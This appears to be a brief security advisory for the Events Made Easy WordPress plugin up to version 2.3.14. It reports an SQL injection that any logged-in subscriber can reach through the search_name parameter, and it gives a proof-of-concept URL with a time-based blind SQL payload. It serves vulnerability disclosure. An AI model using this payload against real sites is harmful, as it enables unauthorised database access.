Events Made Easy <= 2.3.14 - Subscriber+ SQLi

The plugin does not properly sanitise and escape the search_name parameter before using it in a SQL statement via the eme_recurrences_list AJAX action, leading to a SQL injection exploitable by any authenticated users, such as subscriber

PoC

Open the URL below while being on the blog as subscriber user https://example.com/wp-admin/admin-ajax.php?action=eme_recurrences_list&amp;search;_name=1’{+}AND{+}(SELECT+1+FROM+(SELECT(SLEEP(0.5)))a)-{-}+{-}